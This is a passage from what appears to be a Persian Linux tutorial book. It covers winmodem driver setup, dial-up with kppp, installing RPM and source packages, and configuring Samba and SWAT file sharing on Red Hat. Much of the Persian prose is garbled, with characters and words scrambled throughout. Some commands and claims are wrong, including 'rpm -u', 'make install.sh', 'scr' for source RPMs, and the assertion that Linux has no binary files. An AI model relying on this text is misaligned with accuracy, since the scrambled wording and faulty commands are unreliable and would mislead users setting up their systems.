 شما  ستمي  و سدي  کنی خود استفاده م نوکسي از کرنل در لی از چه نسخه اد؟يکن یاستفاده م ) distribution ( نوکسي از ل یشیرای چه و  از 

وکس ي مطالب در خط فرمان لنی دانستن ایراب. باشدی میاختار س چههیبر پا ان  ) Shell (ن تفاده کن uname –a# از فرم  نيهمچن . دي  اس
سپس با در یافت تمامی این اطلاعات به سایت که در بالا معرفی کردم ميروید و در آنجا با       . دی مورد مودم خود دار    در ی به اطلاعات  ازين

رای  ور ب ده یک درای ه دست آم ه اطلاعات ب د توجه ب وکس نصب ميکني وده و آن را در لين ان انتخاب نم ودم خودت ل ذکر است .   م قاب
ودم شما از        ) CPU(مهمترین اطلاعات شامل نسخه کرنال یا هسته  و نوع پردازشگر مرکزی                ا م سيگنال های   شما ميباشد و اینکه آی

ه            . (  حمایت ميکند یا نه      منفرد ديجيتالی  ر پای ه ب ودم های ک د         ساخ  Lunchتمام م ن قابليت را دارن د ای ورد     ) ته شده ان ن سه م ين ای از ب
  .است % ٩٨گزینه آخر بسيار مهم است چون اگر از سيگنال های منفرد دیجيتال حمایت کند احتمال نصب موفقيت آميز بالای 

  
  

  :ميانبر 
  
  

ا    (PCI ی مودم های براscan Modem ابزار ودم ه ام م ه ک   یتم شخ   مرInstaller لی فا) سي داخل جعب وط رو ت د و شما   ی م صيب  ده
   : فرمانلهي آن به وسی و اجراscan Modem دانلود کردن  ازبعد .دي از آن استفاده کندي توانی میسپس به سادگ

  
# sh scan Modem  

  
ا  لی شود که در آن فا     ی داده م  شی شما نما  ی برا یگزارش ا           هي توص  ی ه سخه ه ه شماره ن ودم شما و آدرس در     وری  درا ی شده و البت  افت ی م

   . کندی می مودم شما معرفیبرا....   و لیفا
  

ه شامل اطلاعات     یدر محل اجرا ساخته م *  ModemData.txt ی به نام هاگری د لی برنامه چند فا   نی ا ی از اجرا  بعد •  شوند ک
  . باشدی شما مستمي از سیملکا

  
ودم را پ     دی  نکرد با   ی روش به شما کمک     نی ا اگر  رام   دي  کنداي  تک ، تک مشخصات م تفاده از ف ا اس زار    ای  و ATA ني ب تفاده از اب ا اس  ب

PCItreeات لازم را بدست آور را . دی اطلاع تفاده از ایب د  نی اس زار بع رم اف تیاز در ن رام اف تفاده از ف ا اس ود در فاني آن ب  لی موج
htm.userg_ptراهنما نی کارها با استفاده از انیبعد انجام ا. دي کنستفاده از آن ا Lin modem HOWTOدي کار را ادامه ده.  

  
وع     نصب م  ی روش براني از هممن ه از ن دل  Geniusودم خودم ک ر رو  GM56PCI-L و م ل  Fedora Core 3.0 ی هست ب  و کرن

  : نسخه لهيبه وس i686+ ( AMD Athlon 1000 )   با ساختار ٢٫۶٫٩١٫۶۶٧
  

ltmodem-8.31a10.tar.gz و ltmodem-2.6-7alk.src.rpm    
  
ا ته  وری درادي توانی که میی هاتیسا . نصب شد و کار کرد ی بود که به راحت    scanModem یشنهادي نسخه پ  نیا ا  را از ان ج  دي  کنهي  ه

  : کنمی مستي را لدیري کمک بگایو 
  

 http://www.linmodems.org 
 
 Linmodems support page http://linmodems.technion.ac.il/ 
  
PCI Vendor and Device Lists http://www.yourvote.com/pci/ 
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زار  ی که مVendor ID با استفاده از ديتوان ی متی وب سانی ادر  آن را بدست آورد اطلاعات لازم   PCItree توان با استفاده از نرم اف
  .دي کندايرا پ

  
Linux winmodem pages http://start.at/modem 

  
  
  .دي کنداي که باشد پی مودم خودتون رو از هر نوعدي توانی احتمالا منجای ادر
  

 Linmodem-Howto En OR On 
  

Lucent/Agere modem resources (LTModem Drivers for Linux )  
  

Conexant drivers for Linux 
  

Linmodems First Steps Beginner's Guide 
  

Linmodem Resources 
  

Identifying Your Modem Chipset 
  

PCItree 
  

Lucent DSP winmodem tracking page 
  
   
  

  : مرتبط یافزارها نرم
  
  

• Multimon :لي از قبی صوتیگنالهاي از سیادیشمار ز AFSK و DTMFکند ی میگذار  و رمزیی را رمزگشا.  
  
   

• DTMF encoder  : را کامپا م   )cc dtmf.c –lm –o dtmf. (دي  کنلیآن د رق ه آن بده  dtmf  ، چن ان ب  و د،ي در خط فرم
  .دي کنتی هداdev/dsp/ را به اش یخروج

  
   

  .  نموده استسهی مختلف را با هم مقاتمی، که سه الگورDTMF detection در مورد یا  مقاله
  
  

   بکندنوکسي مودم در لی راه اندازی را به شما برای کمک کافقسمت نی کنم که ای مفکر
  
  

به همين دليل نصب مودم و اتصال , ی سخت افزار ها به ویژه مودم سازگاری نداردهمان طور که می دانيد سيستم عامل لينوکس با بعض     
ه                 برای نصب مودم باید      .به اینترنت در لينوکس به سادگی ویندوز نيست        د ، پس از آن شروع ب قسمت بالا را به دقت بخوانيد و اجرا کني

  !! بکنيد و آن هم به صورت زیر تاتصال به اینترن
  

  .به دایرکتوری که برنامه مودم در آن وجود دارد دستورات زیر را یک به یک اجرا می کنيمپس از وارد شدن 
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1. make clean 
2. make هر چيزی که هست 
3. make install 

  
وانيم از     . می باشد  dev/modem/ پس از اتمام مراحل بالا مودم نصب شده و محل و آدرس آن     برای تنظيمات اتصال به اینترنت می ت

  .های مختلفی که در لينوکس وجود دارند استفاده کردبرنامه 
  

   : Kpppچگونگی استفاده از 
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ر            ه را از مسير زی ن برنام د ای پس از نصب مودم باید از این برنامه یا برنامه های مشابه استفاده کنيم تا به اینترنت وصل شویم می تواني
  .در صورتی که نصب کرده باشيد پيدا کنيد

  
Menu->Internet->kppp 

  
ه    Accountبرگ    از سر  . را انتخاب می کنيم    Setupپس از ظاهر شدن صفحه برنامه        ه     new دکم زنيم و از صفحه پرسش گزین  را مي

Dialog setupل           را بر می گزینيم ه پنجره قب اره ب ا دوب يم ت و در صفحه جدید نام اتصال و شماره تلفن را وارد می کنيم و تایيد می کن
  .گردیم باز

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٣٢٩    صفحه

  
  
  

  . را بر می گزینيمmodem device: /dev/modem جلوی گزینه deviceاز سر برگ 
  

  
  
  

ودم از سر        ارکرد و شناسایی م ان از ک ل شدن و اطمين ا پروسه      Modem  ،Query modemبرگ   و برای تکمي يم ت  را کليک می کن
  .ت وسيله را ذکر می کنددر صورت شناسایی و کارکرد مودم پنجره ای باز می شود که مشخصا .انجام شود
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  آموزش نصب برنامه در لينوکس از روی کد منبع آنها 
  

ی                       وکس ب ه در لين سته نصب برنام واع ب ه ان قبل از این که آموزش نصب برنامه ها از روی کد منبع آن ها را بدهم بياید یک نگاه کوتاه ب
  . هستند RPMنصب خودکار برنامه در لينوکس ، بسته های مشهور ترین بسته ها ی . اندازیم 

  
RPMچيست ؟   

  
د                                 RPMیک   ل ميگذارن ا را در یک فای ه آنه ه و هم د گرفت ه را اجرا کني سمتی از برنام د ق ا بتواني د ت از داری ه شما ني ا را ک ل ه ه فای  کلي

ل های تنظي    ه نيست      (می  قسمتهای مثل خود برنامه ، فایل های کتابخانه ای ، مستندات و فای م اینگون شه ه ه همي ز     ) . البت م ني سته ه ن ب ای
  !!حاوی اطلاعات درباره خود برنامه نيز هست 

  
  ميگويند ؟به ما  چه چيز های RPMنام بسته 

  
سته                                             ثلا ب دهم ، م ه توضيح مي زی هستند ک ا معرف یک چي ه آنه ا هم يد ام ا متعجب شده باش سته ه ن ب شاید شما از اسم های طولانی ای

apache-1.3.12-20.i386.rpm را در نظر بگيرید ، اول خود این بسته حاوی سرویس دهنده معروف و مستحکم Apache است .  
ه    20بعد از شماره نسخه یک خط فاصله و بعد از ان  .  شماره نسخه این سرویس دهنده ميباشد        1.3.12عدد    ميباشد که این عدد معرف ب

ن         . ای نسخه حاضر این چندمين ویرایش ميباشد        شماره ویرایش ميباشد به این معنی که بر        ه ای سخه ب توليد ویرایش های جدید برای یک ن
رد      ) RPM(دليل است که بتوان اشکالهای که در بسته نرمافزاری           شود را برطرف ک دا مي افزار پي د از ان  . و نه خود نرم ده  i386بع  دی

  . به بالا ساخته شده است ٣٨۶ل ميشود که اشاره ميکند که این بسته نرمافزاری برای رده اینت
  

ام           RPMاگر بعد از همه این چيز ها و قبل از کلمه             • ه ن ه دیگر ب ع                 scr یک کلم د منب ن ک ه ای ن است ک ده ای شان دهن ود ن ده ب  آم
ا حاو    . (برنامه با ان مشخصات است نه فایل های باینری ان            سته ه ام ب ی البته لينوکس به مفهوم ویندوز فایل باینری ندارد و تم

  )کد منبع هستند که عمل کامپایل ان به صورت خود کار انجام ميشود
  

   RPMنصب يک بسته 
  

ه صورت              د نصب ب د و بع د کني ار کلي ا دو ب ه خود روی آنه بسيار راحت است ، ميتوانيد در هر یک از محيط های گرافيکی مورد علاق
ید و نمی فهميد چه کار ميکند و ار مشکلی پيش اید علت ان را به شما       در این حالت شما اختيار روی برنامه ندار       . خودکار انجام ميگيرد    

  .و آن هم به صورت زیر .  مورد علاقه خود نصب کنيد Shellتوصيه ميکنم آن را در خط فرمان ... نميگوید  و
  

ا را    (يچ مشکلی نيست  برای تغيير نام آنها ه  (اول برای دریافت اطلاعات از این فایل ميتوانيد از فرمان زیر استفاده کنيد               ام طولانی آنه ن
  )و با این کار مشکلی برای فایل نصب پيش نمی آید ) به یک حرف یک یا دو کلمه ای برای راحتی کار تغيير دهيد

  
  )من توصيه ميکنم از زیری استفاده منيد(برای نصب از فرمان زیر استفاده ميکنيم 

  
rpm –i [package _name] 

  
  )توصيه شده(قای آنها از فرمان زیر استفاده کنيد برای نصب آنها یا ارت

  
rpm –u –v –h   [package _name] 

  
  البته شما ميتوانيد به دون دانلود برنامه مستقيما ان را از روی سایت نصب کنيد برای این کار آدرس فایل را به جای

  
 [package _name]  

  
   .وارد کنيد

  
  .را به ما نشان ميدهد و تا دو سویيچ هم زمان را ميتوان استفاده کرد  حالت نشان دادن جزیيات کار v–سویيچ 

  
  . عدد رسيد برنامه کاملا نصب شده است ۵٠را نمایش دهد و هنگاميکه تعداد این علامت به #  به ان ميگوید علامت h–گزینه 
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د        این سویيچ وقتی استفاده ميشود که شما شک دارید آیا تمام بسته های               test--سویيچ   يد بع مورد نياز را دارید یا نه اگر همه را داشته باش
  .از وقفه کوتاهی شروع به نصب خود برنامه ميکند

  
ثلا    . ( برای پاک کردن برنامه به کار ميرود   e-سویيچ   ه نيست و م ه     apacheنيازی به نام کامل برنام د کلم افی است و نبای  را RPM ک

  )در انتهای ان قرار دهيد 
  ...و 
  

  . بروید rpm.orgلاعات بيشتر به سایت برای اط
  
  

  نصب از روی کد منبع 
  

قبل از این که به تشریح عمل نصب برنامه !! کار ميکند )  مرحله اصلی ٣(از سيستم های منبع باز با همين مراحل      % ٩٩این روش در    
ه    ها در این گونه سيستم عامل ها بپردازیم باید بگویم که این کار نسب به خود برنامه د      ارای جزیيات بسيار زیادی است و اگر بخواهيم ب

سم           ۵٠٠آنها بپردازیم باید یک کتاب       اره بنوی ن ب ی را خدمت شما بگویم                    !!  صفحه در ای ان مراحل کل نم بهزب ی من سعی ميک اول . ول
  .برویم به سراغ یک سری مقدمات 

  
Tar ballsچيست ؟   

  
ه را     !!  در ویندوز نيستند     Rar و یا    Zipاشتباه نکنيد این ها فایل های مشابه فایل های           در واقع وقتی شما تمام مستندات نصب یک برنام

  .  استtar.*پسوند این فایل ها .  ساخته ایدTar Ballدر یک جای جمع کرده و همه آنها را تبدیل به یک فایل غير فشرده کنيد ، یک 
  

وکس     . د وقتی یک همچين فایلی ساختيد آنگاه ميتوانيد ان را فشرده کني    ار در لين ن ک رای ای ن    .  است  gzipمعروفترین ابزار ب ا ای ی ب وقت
ا      .  ميشود tar.gz.*فایل نهایی دارای پسوند  . ابزار یا یک ابزار دیگر یک همچين فایلی را فشرده کردید       شرده تنه ل ف ن فای د ای دقت کني

  .ین نوع ان است فرمت و نوع فشرده سازی در لينوکس نيست اما معروفترین و پر کاربرد تر
  

از                      شرده ني خوب بعد درک این دو موضوع ما برای نصب به طور معمول به یک کامپایلر و ابزار برای خارج سازی فایل ها از حالت ف
ا از    gzip  و ابزار فشرده ساز       gccداریم که من به جد توصيه ميکنم از خفن ترین کامپایلر لينوکس به نام                ل ه  هم برای خارج کردن فای

  .لت فشرده استفاده کنيدحا
  
  

gcc                  سيار ه ب ن برنام ر را دارا است ، ای  تقریبا همه چيز را کامپایل ميکند و کمترین حجم را بين تمام کامپایلر های مشابه با توانایی براب
ه   برای توضيح کامل ان حجمی معادل دو برابر کل کتاب موجد را ميخواهد اما بسيار قوی نيز هسپيچيده است و واقعاً  ت اسم کامل برنام

GNU Compiler Collection است و از زبان های C و C++ و Chill حمایت کامل ميکند  ....  و فرترن و جاوا و.  
  

ه          د         gzip و tar و make و autoconf و gccبه طور کلی شما ب اج داری ه احتي ا هر برنام ار ب رای ک رای درک  .  و اطلاعات لازم ب ب
  .ر را ادامه ميدهم موضوع من با یک مثال کا

  
  !!!در تمام فرمان های این بخش نشان دهنده خط فرمان است و شما نباید ان را تایپ کنيد # علامت  •

  
يم      bombermazeمن برنامه بازی بسيار جالب       .١ ردم ، پس شروع ميکن د و     .  را انتخاب ک ه بروی ه پوشه برنام اول ب

  :بعد دستور زیر را مينویسيم در خط فرمان 
  

# tar xvzf bobermaze-0.6.2.tar.gz 
 

د    f و z و v و xاین فرمان باعث استخراج  فایل از حالت فشرده ميشود حتما سویيچ های         ار ببری ه ک حوصله توضيح   ( را هميشه با هم ب
  !!).سویيچ ها را دیگر ندارم 

  
  .آنجا این فرمان را اجرا کنيد و بعد در .  بروید  tarبعد از این کار در ان پوشه ای که ایجاد شد به وسيله برنامه  .٢

  
# ./configure 
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د     . این فرمان باعث انجام پيکربندی های نصب نسبت به سيستم شما ميکند              البته این فرمان در بعضی از برنامه ها نيست و شما خود بای

د  بعد از اجرای این فرمان یک دو جين صفح   . نسبت به مستندات همراه برنامه این کار را انجام دهيد            ه از رو به روی شما ميگذرند و بع
ام                   ا  installاز انجام این کار چندین چيز نسبت به خود برنامه ایجاد ميشود ممکن است یک سری فایل های با ن اد شود   install.sh ی  ایج

د  خوب بعد ایجاد هر کدام از اینها شما مرحله بعد باید برنامه را کام         . makefailو یا یک یا چند فایل به نام          ل کني ل     . پای ن فای ه اگر ای البت
ل           د و فای دا کني ها ایجاد نشد یا اینکه پيغام داد که نميتواند کار درست انجام بدهد شما باید به سراغ مستندات رفته مشکل خود را از آنجا پي

  .ها را خودتان پيکر بندی مناسب بکنيد و سپس این مرحله را دو باره انجام بدهيد 
  

د          حال قبل از هر چيز   .٣ اد نميکن ا مشکلی ایج رای م ز ب ه هيچ چي يم ک فرمان زیر را اجرا ميکنيم  تا اطمينان حاصل کن
  .دستور زیر را وارد ميکنيم ، البته اگر انجام هم ندهيد مشکلی ایجاد نميشود و کاملا اختياری است در اکثر مواقع 

 
# make clean 

  
  ه فقط کافی است بنویسيد حال به مرحله اصلی کار رسيدیم ، برای کامپایل برنام .۴

  
# make 

  
  

  پس می نویسيد . خوب بعد از اتمام مرحله قبل و کامپایل شدن برنامه حال باید برنامه را نصب کنيد 
  
  

# make install 
  
  یا
  

# make install.sh 
  

ه      makeاین فرمان به     د   Makefile در install ميگوید که گزین ه طور منطقی     .  را اجرا کن ه ب ه البت وری     ک ا را در دایرکت ل ه ه فای  هم
  . نصب شوند usr/local/share/در این حالت تمام فایل ها باید تخت . نصب کپی ميکند

  
....  برای نصب موجود است و   install-sh یا installبعضی اوقات وجود یک اسکریپت . بيشتر برنامه ها با این روش نصب ميشوند       

  . فرمان بنویسيد و دیگر هيچ که فقط کافی است نام آنها را در خط
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 ٣٣٤    صفحه

  :شرح راه اندازی شبکه لينوکس و سرويس فايل ها 
 
 
ر  یها ستم عاملينار نام سک ش دري سال پیکن روزها مخصوصاً از حدود یا ام س  یکت ماکاربرد شر ک   معروف و پ  یستمهاي روسافت ن

ه گوش م    ک یت م ي فعال GPL سانسي ه تحت ل کد باز کا ی GNU  بریمبتن د ب وان   ک  رسد  ینن ه عن اً ب درتها  ه عموم ب  ی آیق ده ش ا کن  یه ه
  . شوندی میز معرفي نیوتريامپک
  

GNU: 
  
اد یت ای  رایپ ک و حق  یسی  را جهت برنامه نوین خاصيه قوانک باشد یسان میبرنامه نو  ازین اصطلاح نشانگر گروهیا ه   ک  ج د ب رده ان
انب یاربردهاک ی شود ولیبرنامه عرضه م ز به همراهيد برنامه نک بوده و یه هر برنامه در ابتدا مجانکل کن شیا شت  ی ج سائل پ  یباني و م
 .دی آیدست م به www.gnu.org تینه در ساين زمیشتر در اياطلاعات ب. ت و خدمات برخوردار باشندیرا یپک توانند از حقوق یم
 

از و قابل کستم يه به علت سکد جاد شدنیز اي نیمختلف یستم عامل هاي سیین نرم افزارهايدر گستره چن ه وس  یابی ب ي ت رشد و ع ي د ب له ي ب
س  ) یسفارش(ر به صورت دلخواه ييت تغي و قابلیسازمان و گروه ، شخص هر ا    یعیار سر يرشد ب ه آنه تند و از جمل  ، FreeDBS داش

Linux، Lindows، Licoris زرگ از س  یکخود به عنوان  یدام در گروه بندکه هر ک انواده ب ا  ستم عي  خ ر ی  زی مختلف دارا یامل ه
ر ١٨ ی خود دارا ،سکنويبه طور مثال ل.  باشندی میمتعدد اري بسیشاخه ها وده  ک   نوع فعال و پ ر   ه ازک اربرد ب ه معروفت ا یجمل  ،ن آنه

Red Hat، Mandrake، Suso، Caldro باشندیم .  
 

ردازش   و ییارآکبه علت  Red Hat ،ستمهايس نیان ايدر م الاتر و قابل قدرت پ ا   یت اي ب اد رابط ه ر يدر سطح وس   يکی  گرافیج ر ،ع ت   پ
  .ست اها ستمين سین ایتر اربردک

 
   :سکنوي در لیارک و ییساختار اجرا

 
رل که ک  باشد  یستم عامل ميا همان مغز فعال سیبخش هسته و ): یزکهسته مر(رنل ک د یاصل  نت ده  ک و اجرا  یزک ت و بخش مر یری م نن
   ) باشدیتفاوت تنها در ورژن م( باشد یسان میکاملاً کس کنوي لیها ستميه سيلکستم عامل بوده و به طور عمده در يس
  
  

   :(Main Package)  ی اصلیافزار  نرمیبسته ها
  
ا ي  قابلی نرم افزارین بسته هایا ی  اجرایت ه ر م   ي س نی  ای اصل ی ا   ي  گیستم عامل را در ب سته ه د ب د  ک یرد مانن رل م  و یت ورودیرینت

ان ي  نظی واسط خروج  یه اجزاه خود بک وتريامپک یخروج د  ی ورود،تورير م ورد و  کي مانن ا ک ب ب یارت ه  و یه ادوات ورودي لک ه وک ش
  .یخروج

 
  :(Pro Package)  یاربردک یبسته ها

  
 XFree86 به طور مثال بسته دی افزای می اصلی نرم افزاری را به بسته هایژه ای ویت هاي معمولاً قابلینرم افزار ین نوع بسته هایا

زار     ي اربر و سک  واسط  يکیگراف طيجاد محی ای را برای هوشمنديکیجاد رابط گرافیت ايقابل رم اف سته ن ه ب د یستم عامل ب رل  کت یری م نت
  .دیافزا ی می و خروجیورود

 
  

  : (Add Package) ی اضافی نرم افزاریبسته ها
  
  .شود یستم عامل نصب و اجرا مين سی ای بر رویاربردک ی برنامه هایعنوان بسته ها  بهی نرم افزارین بسته هایا

 
  

  :(Red Hat 8.0)  سکنويستم عامل لينصب س
  

 
  . قابل ذکر است که ما قبلا این کار را به طور کامل و مشروح انجام دادیم ولی به جهت یادآوری به طور خلاصه با هم مرور ميکنيم 

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٣٣٥    صفحه

ام م   CD عدد له سهيستم عامل به وسين سینصب ا داز ي قابل( باشد  یم  Bootable ،اول CD هک  شود  یانج   یستم از روي  سیت راه ان
CD . (ا   در: میريد در نظر بگیه باکجاد شبیر را از نظر ای مراحل ز،در مراحل نصب سته ه زار  یهنگام انتخاب ب رم اف ورد نظر   ی ن  م
زار ید بسته هایبا  Windows File System Service  ازیشاخه ا  ری ه زک  SWAT و SMB Client و SMB Server ی نرم اف
   ) .افزود زيستم عامل ني توان بعد از نصب سی را می نرم افزارین بسته هایا(انتخاب شوند   باشد حتماًیم

 
ورد  ک س کنوي لیر بنديکدر مرحله آخر پ ب ک ه در م ه س  کارت ش ا  ستمي ه متصل ب  دو حالت وجود   ، شود ی لازم درخواست م  یپارامتره

  :دارد
 
  .ردکستم وارد ي را همان ابتدا و در هنگام نصب در سمورد نظر ی توان پارامترهایم -١
 
 ) . باشدیاز نصب م ن پروژه بعدیه البته مورد نظر در اک( باشد یستم ميامل سکها پس از نصب  ن پارامتریا ميگر تنظیاه د ر-٢
  
  
  

  راه اندازی شبکه لينوکس و سرويس فايل در لينوکس
 
 ه نصب شدهکوتر به عنوان سرور شبيامپک یک یامل بر روکه به طور کارت شبکدد ع یکس همراه با کنويستم عامل ليس: ش فرضيپ

  .است
 
ه س  ک ستم را روشن  ي ن حالت س ی در ا ام ورود ب ام  (Log in) ستمي رده و در هنگ د  ن ر ي ت سیریم ان Root: مينیگز يم ستم را ب  User هم

Name و Password ستم وارد شده است يامل به عنوان روت پسورد به سستم عيه در هنگام نصب سک باشد یم ستمير سیمربوط به مد 
 سه يکی،ط گرافيامل محکاز بالا آمدن  پس. مينک یاستفاده م) يکیاربر گرافکواسط ) Gnome نهی انتخاب گزیبرا Session ديلکاز  (، 

  :مي دهیم ه انجامکس شبی سرویمرحله را در جهت راه انداز
 
  

  :مرحله اول راه اندازی شبکه 
 

وع  ین سروی ای راه اندازیبرا :سی سروی راه اندازیاز براي مورد نی نرم افزاریسته ها بیبررس ا  یل کس دو ن سته ه زار  ی ب رم اف  ی ن
  :باشد یلازم م

 
زار   نرمین بسته هایا: هکجاد شبی لازم جهت ای نرم افزاریبسته ها) الف ا    ي  همیاف سته ه وان ب ه عن ولاً غ  ي پ یشه ب ر ي ش فرض و معم

 یر بنديک پی برايکیگراف ط واسطيننده محکجاد یه اک از آنها یکیست و فقط ي آنها نی به بررسیازيدارند و ن م وجودستيقابل حذف در س
  .قرار دارد Gnome يکیط واسط گرافيفرض در مح شيبه عنوان پ Network Device Control  باشد به نامیه مکشب
 
  : نام  باشد بایاز مي مورد نیس سه بسته نرم افزارین سروی ایبرا: چاپل و یس فای سرویانداز  جهت راهی نرم افزاریبسته ها) ب
  

•  Samba SMB Server :ل و چاپیس فای سرویراه انداز اصل. 
  

•  Samba - Client  :سی از سرویريس گیت سرويقابل SMB ندک یجاد می خود سرور ایرا برا.  
•  SWAT :یبه عنوان نوع Plug in، ندک یجاد می سرور ایت از راه دور را برایریمد تيقابل با يکیط گرافيجاد محیار اک.  

 
  :مي دهیب انجام مين ترتیر را به ایز  مراحلی نرم افزارین بسته های افزودن ایبرا

 
Start  Application > System Setting > Packages 

 
ه کرده و سپس د ک شد را انتخاب    بایم SMB Server و SMB Client بستهه شامل دو ک Windows File server نهیو سپس گز  م
Update  يک،حالت به طور اتومات نیس در اکنويل. مينک ی ميکلکرا CDا  یها سته ه زار  ی لازم جهت نصب ب رم اف  را درخواست  ی ن

  .ندک یم
 
رار داده و در فهرست   CD ROOM  را درون٣شماره   CD هکن صورت ی به ا،مينک ی عمل میبه طور دست SWAT  نصبیبرا  ق
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RedHatRPMS ، لیفا samba-swat-2.2.5-10.i386.rpm ظاهر  یدی پنجره جد . مين ک ی ميکلک دو بار آن یرده و روکدا يپ را 
  . شودیامل نصب مک به طور یبسته نرم افزار Continue مهکه با زدن دک شود یم

 
  

  :مرحله اول راه اندازی شبکه 
  
  
  :مينک ی میب طيرا به ترت ریمراحل ز: هک شبیربنديکپ

 
  بيترت به Gnome (Desktop) يکیط گرافيدر مح) فال

 
Start Application > System Tools > Network Device Control 
 

ورد   ک  خورند یه به چشم مکجاد شبی ای موجود برایه سخت افزارهايلک ،منو نیدر ا زار م ب ک  ،ن حالت ی نظر در ا  ه سخت اف ه کارت ش
 Deactive و Active ینه های گز،هکن رابط شبیردن اکرفعال يا غی فعال یبرا .ه شده استش دادینما eth0 ن منو بایه در اک باشد یم

ه ک م ين کن يي آن را تعید پارامترهایردن آن باک قبل از فعال یمنو وجود دارند ول در سمت راست ب   ی ا ه ب ه را انتخاب  کن منظور رابط ش
ه ی سپس گز ، رنگ شود  یرده تا آبک د يکپ را جهت  Configure ن ب ک ن ی  ایربن و ی در ا .مين ک یه انتخاب م  کارت ش ه یگز ن من را  eth0 ن

ه ا يه تنظيلک ،د باز شدهی جدیدر منو .مينک یرا انتخاب م Edit نهی گز، رنگ شود و بعد از آنیرده تا آبکانتخاب  ن رابط  ی مات مربوط ب
وارد ي لک( شود  ی مین بررسیيب از بالا به پايه به ترتک باشد یموجود م هکشب ا ی زه ک  یه م اب  ،ده شده است  يشک خط   ر آنه وارد انتخ  ی م
  )د ی باشن میربنديک پیبرا
  

  Nickname: eth0  هکام واسط شبن •
  . شودیفعال م ،ستم عامليه با بالا آمدن سکارت شبک ، نهین گزیر صورت انتخاب اد •

 
Active Devise When Computer Start: 

  
   )ستيس ما مهم نی سرویبرا ( اربرهک حالت چند یراب •

 
Allow All User To Enable And Disable The Device 

  
  :ندک یافت میمناسب را از آنها در IP  ،ستميه خود سکوجود دارند  DHCP یه سرورهاکه در شبک است ی حالتیبرا •

 
Automatic … . .  

  
  : باشدیم نه قبلیربوط به گزم •

 
Host Name Option. 

  
  : شودیم مي تنظیها به صورت دست پارامتر •

  
•  Static :آدرس IP لاسک از یرواقعياز نوع غ C : Address: 192.168.1.1  

  
  :IP لاسکابسته به و •

 
Subnet Mask: 255.255.255.0 

  
  : باشدیمهم نم سین سروی ای راه اندازیبرا •

 
Default Gateway: 
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ا ین گزیپس از انتخاب ا ه ی گز،نه ه ا ا ک انتخاب   را OK ن د و  ي رات ذخيي ن تغی رده ت ه یسپس گز ره گردن و  Apply ن  و در یری  زیدر من

  مينک یرا انتخاب م Close نهیگز تینها
  

OK  > Apply  > Close !! 
 

ذ ي تاثیده و برايان رسیپا ه بهک شبیر بنديکن حالت پیدر ا ر است    ين تنظی امل ا ک یریر پ ار س یک مات بهت روشن   ستم را خاموش و ي  ب
 تحت  يکی  واسط گراف یک له ي به وس یربنديکات پيعمل ،ل و چاپیس فایدر مورد سرو: لی برنامه سرور فای و اجرایربنديک پ-٣. مينک

ام   یگر یس دیجاد شده از سرویه خود اکوب  ه ن ام م  ، باشد یم  SWAT ب را .  شود ی انج ال  یب س یو سرو  SWAT سیردن سرو ک  فع
   Start :ردي گیر انجام میو چاپ مراحل ز لی فایزکمر
  

Application à Server Setting Service SMB  
SWT  

 
 یجاد م یل مورد نظر ایرات را در فايي آن تغيکیواسط گراف نی باشد و اینم SMB.Conf لی فایم دستي به تنظیاجيگر احتیار دکن یبا ا
ه ترت  ر رای مراحل ز .  رسد یستم م ي سیربنديک باشند و نوبت به پی لازم در حال اجرا میسهایسرو ،ن مراحلیپس از انجام ا. ندک ب ي ب
   :مي دهینجام ما

 
Start Application > Extras Server Setting > Samba Configuration 

 
از ی صفحه ا،نترنتی مرورگر صفحات ا،پس از انجام مراحل بالا و ک رده ک   را ب اد م  ی آن ای رویدی  جدیه من  ،ن حالت ی در ا.  شود یج

ستم ين نوع سیا .می شوی می اصلیت وارد منویری نام و رمز مدردنکبا وارد . ندک یستم را درخواست ميس تیری نام و رمز مد،سیسرو
ن سرور  يه اگر آدرس دوم  کوتر شبيامپک هر یه روکب ين ترتیا ند بهک یجاد میز ايت از راه دور را نیریت مدي قابلی،ربنديک پيکیگراف

ورد نظر وارد شود       نگيهاست IP ایمورد نظر  ورت م راه پ ه هم د ي ن سی  ا،سرور ب د شد    فیتیریستم م ال خواه ورد آدرس  . ع ه    م نظر ب
   :ر استیصورت ز

  
http://127.0.0.1:901  

  
ه در ک  ز وجود دارد ي ن نيو دوم  IP نی ر ايي ت تغيالبته قابل(رد کز استفاده يرا ن Local Host ني توان دومیمورد نظر م IP یه به جاک

   .می شوی صفحه روبرو می در بالاید اصليلک 7  بایربنديکپس از ورود به صفحه پ).  باشدیه مکارت شبک یربنديک پی از قسمتهایکی
 
  

   Home :گزينه اول
 

ام ورود  ا    ي ن در هنگ ه نم وان صفحه اول ب ه عن اي لکن صفحه شامل   ی ا. دی  آیش درم یز ب ا ی یه راهنم د    لازم ویه ه بن را یطبق  ی شده ب
  . ردي گیقرار م اربرکار يدر اخت HTML ه با فرمتک باشد یم SMB  سروریربنديکپ
  
  

  :) تنظيمات کلی( Globals گزينه دوم
  

  . شرفته وجود دارديش پی بازگشت به حالت اول و نما،راتييره تغيذخ نه مربوط بهی گز٣ صفحه یدر بالا
  
  دهدیانجام م SMB.Conf لی فاید را بر رویرات جدييره تغيعمل ذخ :(Commit Change) راتييره تغيذخ
 
  ). ش فرضينه حالت پ(گرداند يم رات بريينه ها را به حالت قبل از تغیه گزيلک :(Reset Value) ازگشت به حالت اولب
  
 یش م ی را به نمای قسمت اصلیم برايات قابل تنظي جزئیامل و تمامک یتهايقابل نهین گزیا :(Advanced Configure) شرفتهيش پینما

   :بيه به ترتک وجود دارد ی پنج بخش اصل،نهین سه گزین ایيپا در. گذارد
 

Base option)  یارکگروه :(  
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ام دل   یرد و م ي  گیمورد استفاده قرار م ه هاک در شبیجاد ساختار درختی و ای گروه بندیندوز برای ویه هاکدر شب وان هر ن  یخواه   ت
   .را به آن نسبت داد

 
Work Group :   

  
 ی را می هر نامیلک باشد و به طور ی میکی ،سرور DNS ش فرض بايه به طور پک باشد یه مک شبیبر رو SMB س دهندهینام سرو

   .توان به آن نسبت داد
  

Net Bios Name :   
  
 نشان دادن ی براچاپن نام در هنگام یا. به آن نسبت داد یخواه  توان نام دلی باشد و میه مکه نشانگر سرور در شبک یا رشته ایام و ن

رور  اپگرس دهچ اپ ش شخص   در صفحه چ وان کو م ه عن تفاده مردن آن ب رور اس ودیس را.  ش ال میب امی مث وان از ن  Evaz  ت
